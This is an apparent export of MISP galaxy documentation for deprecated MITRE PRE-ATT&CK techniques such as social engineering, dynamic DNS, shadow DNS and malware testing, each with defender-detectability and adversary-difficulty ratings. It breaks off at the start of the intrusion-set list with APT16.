This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary’s use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering or HUMINT operation - PRE-T1153"*

Table 2810. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1153

Acquire and/or use 3rd party software services - PRE-T1107

A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: 3rd party services like these listed are freely available.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party software services - PRE-T1107"*

Acquire and/or use 3rd party software services - PRE-T1107 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party software services - PRE-T1085" with estimative-language:likelihood-probability="almost-certain"

Table 2811. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1107

Analyze hardware/software security defensive capabilities - PRE-T1071

An adversary can probe a victim’s network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Analyze network traffic to determine security filtering policies, packets dropped, etc.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze hardware/software security defensive capabilities - PRE-T1071"*

Table 2812. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1071

Dynamic DNS - PRE-T1110

Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Dynamic DNS - PRE-T1110"*

Dynamic DNS - PRE-T1110 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Dynamic DNS - PRE-T1088" with estimative-language:likelihood-probability="almost-certain"

Table 2813. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1110

Discover new exploits and monitor exploit-provider forums - PRE-T1127

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public source external to the defender’s organization.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Many public sources exist for this information.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Discover new exploits and monitor exploit-provider forums - PRE-T1127"*

Table 2814. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1127

Choose pre-compromised persona and affiliated accounts - PRE-T1120

For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Choose pre-compromised persona and affiliated accounts - PRE-T1120"*

Table 2815. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1120

Acquire OSINT data sets and information - PRE-T1043

Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1043"*

Acquire OSINT data sets and information - PRE-T1043 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1054" with estimative-language:likelihood-probability="almost-certain"

Table 2816. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1043

Identify people of interest - PRE-T1046

The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify people of interest - PRE-T1046"*

Table 2817. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1046

Determine external network trust dependencies - PRE-T1036

Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.

If completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone.

With no other access, this is hard for an adversary to do completely from a remote vantage point.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine external network trust* *dependencies - PRE-T1036"*

Table 2818. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1036

Determine strategic target - PRE-T1018

An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine strategic target - PRE-T1018"*

Table 2819. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1018

Analyze organizational skillsets and deficiencies - PRE-T1066

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This can be done offline after the data has been collected.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1066"*

Analyze organizational skillsets and deficiencies - PRE-T1066 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Analyze organizational skillsets and deficiencies - PRE-T1074" with estimative-language:likelihood-probability="almost-certain"

Table 2820. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1066

Determine operational element - PRE-T1019

If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine operational element - PRE-T1019"*

Table 2821. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1019

Test signature detection for file upload/email filters - PRE-T1138

An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary’s launch of an attack.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Test signature detection for file upload/email filters - PRE-T1138"*

Table 2822. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1138

Determine highest level tactical element - PRE-T1020

From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 ®) (Citation: DoD Cyber 2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine highest level tactical element - PRE-T1020"*

Table 2823. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1020

Targeted client-side exploitation - PRE-T1148

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Targeted client-side exploitation - PRE-T1148"*

Table 2824. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1148

Identify supply chains - PRE-T1042

Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify supply chains - PRE-T1042"*

Identify supply chains - PRE-T1042 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify supply chains - PRE-T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2825. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1042

Install and configure hardware, network, and systems - PRE-T1113

An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Skills are common to majority of computer scientists and "hackers". Can be easily obtained through contracting if not organic to adversary’s organization.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Install and configure hardware, network, and systems - PRE-T1113"*

Table 2826. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1113

Host-based hiding techniques - PRE-T1091

Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target’s environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Host-based hiding techniques - PRE-T1091"*

Table 2827. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1091

Determine physical locations - PRE-T1059

Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine physical locations - PRE-T1059"*

Table 2828. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059

Conduct cost/benefit analysis - PRE-T1003

Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Conduct cost/benefit analysis - PRE-T1003"*

Table 2829. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1003

Receive KITs/KIQs and determine requirements - PRE-T1016

Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary’s nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Receive KITs/KIQs and determine requirements - PRE-T1016"*

Table 2830. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1016

Analyze presence of outsourced capabilities - PRE-T1080

Outsourcing, the arrangement of one company providing goods or services to another company for something that could be done in-house, provides another avenue for an adversary to target. Businesses often have networks, portals, or other technical connections between themselves and their outsourced/partner organizations that could be exploited. Additionally, outsourced/partner organization information could provide opportunities for phishing. (Citation: Scasny2015) (Citation: OPM Breach)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Much of this analysis can be done using the target’s open source website, which is purposely designed to be informational and may not have extensive visitor tracking capabilities.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Analyzing business relationships from information gathering may provide insight into outsourced capabilities. In certain industries, outsourced capabilities or close business partnerships may be advertised on corporate websites.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze presence of outsourced capabilities -*

PRE-T1080"

Table 2831. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1080

Create implementation plan - PRE-T1009

Implementation plans specify how the goals of the strategic plan will be executed. (Citation: ChinaCollectionPlan) (Citation: OrderOfBattle)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Create implementation plan - PRE-T1009"*

Table 2832. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1009

Non-traditional or less attributable payment options - PRE-T1093

Using alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Non-traditional or less attributable payment options - PRE-T1093"*

Table 2833. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1093

Aggregate individual’s digital footprint - PRE-T1052

In addition to a target’s social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target’s username can mine to determine the target’s larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Information readily available through searches

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Aggregate individual’s digital footprint - PRE-T1052"*

Table 2834. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1052

Identify sensitive personnel information - PRE-T1051

An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: This type of information is useful to understand the individual and their ability to be blackmailed. Searching public records is easy and most information can be purchased for a low cost if the adversary really wants it.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify sensitive personnel information - PRE-T1051"*

Table 2835. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1051

Human performs requested action of physical nature - PRE-T1162

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Through social engineering or other methods, an adversary can get users to perform physical actions that provide access to an adversary. This could include providing a password over the phone or inserting a 'found' CD or USB into a system. (Citation: AnonHBGary) (Citation: CSOInsideOutside)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Non-hypersensing environments do not typically collect this level of detailed information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Ill-informed users insert devices into their network that they randomly find, despite training educating them why this is not a wise idea.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Human performs requested action of physical nature - PRE-T1162"*

Table 2836. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1162

Assess opportunities created by business deals - PRE-T1076

During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Most of this activity would target partners and business processes. Partners would not report. Difficult to tie this activity to a cyber attack.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Mapping joint infrastructure and business processes is difficult without insider knowledge or SIGINT capability. While a merger creates and opportunity to exploit potentially cumbersome or sloppy business processes, advance notice of a merger is difficult; merger information is typically close-hold until the deal is done.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assess opportunities created by business deals - PRE-T1076"*

Table 2837. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1076

Shadow DNS - PRE-T1117

The process of gathering domain account credentials in order to silently create subdomains pointed at malicious servers without tipping off the actual owner. (Citation: CiscoAngler) (Citation: ProofpointDomainShadowing)

Detectable by Common Defenses: Partial

Detectable by Common Defenses explanation: Detection of this technique requires individuals to monitor their domain registrant accounts routinely. In addition, defenders have had success with blacklisting sites or IP addresses, but an adversary can defeat this by rotating either the subdomains or the IP addresses associated with the campaign.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: To successfully conduct this attack, an adversary usually phishes the individual behind the domain registrant account, logs in with credentials, and creates a large amount of subdomains.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Shadow DNS - PRE-T1117"*

Table 2838. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1117

Create custom payloads - PRE-T1122

A payload is the part of the malware which performs a malicious action. The adversary may create custom payloads when none exist with the needed capability or when targeting a specific environment. (Citation: APT1)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: It is likely that an adversary will create and develop payloads on inaccessible or unknown networks for OPSEC reasons.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Specialized tools exist for research, development, and testing of virus/malware payloads.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Create custom payloads - PRE-T1122"*

Table 2839. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1122

Conduct social engineering - PRE-T1045

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Very effective technique for the adversary that does not require any formal training and relies upon finding just one person who exhibits poor judgement.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering - PRE-T1045"*

Conduct social engineering - PRE-T1045 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Conduct social engineering - PRE-T1026" with estimative-language:likelihood-probability="almost-certain"

Table 2840. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1045

SSL certificate acquisition for domain - PRE-T1114

Certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [https://www.wellsfargo.com/about/corporate/wachovia/ Wachovia] — homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top "N" lists as starting point).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: SSL certificates are readily available at little to no cost.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="SSL certificate acquisition for domain - PRE-T1114"*

Table 2841. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1114

Test malware to evade detection - PRE-T1136

An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Test malware to evade detection - PRE-T1136"*

Table 2842. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1136

Build or acquire exploits - PRE-T1126

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Build or acquire exploits - PRE-T1126"*

Table 2843. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1126

Unauthorized user introduces compromise delivery mechanism - PRE-T1164

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Unauthorized user introduces compromise delivery mechanism - PRE-T1164"*

Table 2844. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1164

Common, high volume protocols and software - PRE-T1098

Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Common, high volume protocols and software - PRE-T1098"*

Table 2845. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098

Data Hiding - PRE-T1097

Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Data Hiding - PRE-T1097"*

Table 2846. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1097

Pre Attack - intrusion Set

Name of ATT&CK Group.

> Pre Attack - intrusion Set is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

APT16 - G0023

APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)

